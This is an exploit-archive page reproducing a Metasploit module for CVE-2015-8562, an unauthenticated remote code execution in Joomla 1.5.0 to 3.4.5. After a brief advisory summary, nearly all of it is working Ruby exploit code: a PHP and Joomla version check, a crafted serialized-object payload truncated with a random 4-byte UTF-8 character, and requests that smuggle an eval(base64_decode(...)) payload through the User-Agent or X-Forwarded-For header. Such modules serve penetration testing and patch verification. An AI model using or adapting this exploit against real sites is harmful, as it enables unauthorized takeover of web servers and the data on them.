what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Joomla HTTP Header Unauthenticated Remote Code Execution

Joomla HTTP Header Unauthenticated Remote Code Execution
Posted Dec 17, 2015
Authored by Christian Mehlmauer, Marc-Alexandre Montpas | Site metasploit.com

Joomla suffers from an unauthenticated remote code execution that affects all versions from 1.5.0 to 3.4.5. By storing user supplied headers in the databases session table it's possible to truncate the input by sending an UTF-8 character. The custom created payload is then executed once the session is read from the database. You also need to have a PHP version before 5.4.45 (including 5.3.x), 5.5.29 or 5.6.13. In later versions the deserialisation of invalid session data stops on the first error and the exploit will not work. The PHP Patch was included in Ubuntu versions 5.5.9+dfsg-1ubuntu4.13 and 5.3.10-1ubuntu3.20 and in Debian in version 5.4.45-0+deb7u1.

tags | exploit, remote, php, code execution
systems | linux, debian, ubuntu
advisories | CVE-2015-8562
SHA-256 | 5a665a27f3d12ff63349cd4ca300cdf8e60e5919f5df2fde458870a5b8bac108

Joomla HTTP Header Unauthenticated Remote Code Execution

Change Mirror Download
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'Joomla HTTP Header Unauthenticated Remote Code Execution',
'Description' => %q{
Joomla suffers from an unauthenticated remote code execution that affects all versions from 1.5.0 to 3.4.5.
By storing user supplied headers in the databases session table it's possible to truncate the input
by sending an UTF-8 character. The custom created payload is then executed once the session is read
from the databse. You also need to have a PHP version before 5.4.45 (including 5.3.x), 5.5.29 or 5.6.13.
In later versions the deserialisation of invalid session data stops on the first error and the
exploit will not work. The PHP Patch was included in Ubuntu versions 5.5.9+dfsg-1ubuntu4.13 and
5.3.10-1ubuntu3.20 and in Debian in version 5.4.45-0+deb7u1.
},
'Author' =>
[
'Marc-Alexandre Montpas', # discovery
'Christian Mehlmauer' # metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2015-8562'],
['URL', 'https://blog.sucuri.net/2015/12/joomla-remote-code-execution-the-details.html'],
['URL', 'https://blog.sucuri.net/2015/12/remote-command-execution-vulnerability-in-joomla.html'],
['URL', 'https://developer.joomla.org/security-centre/630-20151214-core-remote-code-execution-vulnerability.html'],
['URL', 'https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=http%3A%2F%2Fdrops.wooyun.org%2Fpapers%2F11330'],
['URL', 'https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=http%3A%2F%2Fwww.freebuf.com%2Fvuls%2F89754.html'],
['URL', 'https://bugs.php.net/bug.php?id=70219']
],
'Privileged' => false,
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [['Joomla 1.5.0 - 3.4.5', {}]],
'DisclosureDate' => 'Dec 14 2015',
'DefaultTarget' => 0)
)

register_options(
[
OptString.new('TARGETURI', [ true, 'The path to joomla', '/' ]),
OptEnum.new('HEADER', [ true, 'The header to use for exploitation', 'USER-AGENT', [ 'USER-AGENT', 'X-FORWARDED-FOR' ]])
], self.class)

register_advanced_options(
[
OptBool.new('FORCE', [true, 'Force run even if check reports the service is safe.', false]),
], self.class)
end

def check
res = send_request_cgi({'uri' => target_uri.path })

unless res
vprint_error("Connection timed out")
return Exploit::CheckCode::Unknown
end

unless res.headers['X-Powered-By']
vprint_error("Unable to determine the PHP version.")
return Exploit::CheckCode::Unknown
end

php_version, rest = res.headers['X-Powered-By'].scan(/PHP\/([\d\.]+)(?:-(.+))?/i).flatten || ''
version = Gem::Version.new(php_version)
vulnerable = false

# check for ubuntu and debian specific versions. Was fixed in
# * 5.5.9+dfsg-1ubuntu4.13
# * 5.3.10-1ubuntu3.20
# * 5.4.45-0+deb7u1
# Changelogs (search for CVE-2015-6835 or #70219):
# http://changelogs.ubuntu.com/changelogs/pool/main/p/php5/php5_5.5.9+dfsg-1ubuntu4.13/changelog
# http://changelogs.ubuntu.com/changelogs/pool/main/p/php5/php5_5.3.10-1ubuntu3.20/changelog
# http://metadata.ftp-master.debian.org/changelogs/main/p/php5/php5_5.4.45-0+deb7u2_changelog
if rest && rest.include?('ubuntu')
sub_version = rest.scan(/^\dubuntu([\d\.]+)/i).flatten.first || ''
vprint_status("Found Ubuntu PHP version #{res.headers['X-Powered-By']}")

if version > Gem::Version.new('5.5.9')
vulnerable = false
elsif version == Gem::Version.new('5.5.9') && Gem::Version.new(sub_version) >= Gem::Version.new('4.13')
vulnerable = false
elsif version == Gem::Version.new('5.3.10') && Gem::Version.new(sub_version) >= Gem::Version.new('3.20')
vulnerable = false
else
vulnerable = true
end
elsif rest && rest.include?('+deb')
sub_version = rest.scan(/^\d+\+deb([\du]+)/i).flatten.first || ''
vprint_status("Found Debian PHP version #{res.headers['X-Powered-By']}")

if version > Gem::Version.new('5.4.45')
vulnerable = false
elsif version == Gem::Version.new('5.4.45') && sub_version != '7u1'
vulnerable = false
else
vulnerable = true
end
else
vprint_status("Found PHP version #{res.headers['X-Powered-By']}")
vulnerable = true if version <= Gem::Version.new('5.4.44')
vulnerable = true if version.between?(Gem::Version.new('5.5.0'), Gem::Version.new('5.5.28'))
vulnerable = true if version.between?(Gem::Version.new('5.6.0'), Gem::Version.new('5.6.12'))
end

unless vulnerable
vprint_error('This module currently does not work against this PHP version')
return Exploit::CheckCode::Safe
end

res = send_request_cgi({'uri' => normalize_uri(target_uri.path, 'administrator', 'manifests', 'files', 'joomla.xml') })
if res && res.code == 200 && res.body && res.body.include?('<author>Joomla! Project</author>')
joomla_version = res.body.scan(/<version>([\d\.]+)<\/version>/i).flatten.first || ''
unless joomla_version.empty?
vprint_status("Detected Joomla version #{joomla_version}")
return Exploit::CheckCode::Appears if Gem::Version.new(joomla_version) < Gem::Version.new('3.4.6')
end
end

res.get_html_meta_elements.each do |element|
if element.attributes['name'] &&
/^generator$/i === element.attributes['name'] &&
element.attributes['content'] &&
/joomla/i === element.attributes['content'].value
return Exploit::CheckCode::Detected
end
end

Exploit::CheckCode::Safe
end

# gets a random 4 byte UTF-8 character
def get_terminator
# valid codepoints for 4byte UTF-8 chars: U+010000 - U+10FFFF
[rand(0x10000..0x10ffff)].pack('U*')
end

def get_payload(header_name)
pre = "#{Rex::Text.rand_text_alpha(5)}}__#{Rex::Text.rand_text_alpha(10)}|"
pre_pay = 'O:21:"JDatabaseDriverMysqli":3:{s:4:"\0\0\0a";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:6:"assert";s:10:"javascript";i:9999;s:8:"feed_url";'
pay = "eval(base64_decode($_SERVER['HTTP_#{header_name}']));JFactory::getConfig();exit;"
post_pay = '";}i:1;s:4:"init";}}s:13:"\0\0\0connection";i:1;}'
t1000 = get_terminator
return "#{pre}#{pre_pay}s:#{pay.length}:\"#{pay}#{post_pay}#{t1000}"
end

def print_status(msg='')
super("#{peer} - #{msg}")
end

def print_error(msg='')
super("#{peer} - #{msg}")
end

def exploit
if check == Exploit::CheckCode::Safe && datastore['FORCE'] == false
print_error('Target seems safe, so we will not continue.')
return
end

print_status("Sending payload ...")
header_name = Rex::Text.rand_text_alpha_upper(5)
res = send_request_cgi({
'method' => 'GET',
'uri' => target_uri.path,
'headers' => { datastore['HEADER'] => get_payload(header_name) }
})
fail_with(Failure::Unknown, 'No response') if res.nil?
session_cookie = res.get_cookies
send_request_cgi({
'method' => 'GET',
'uri' => target_uri.path,
'cookie' => session_cookie,
'headers' => {
header_name => Rex::Text.encode_base64(payload.encoded)
}
})
end
end
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close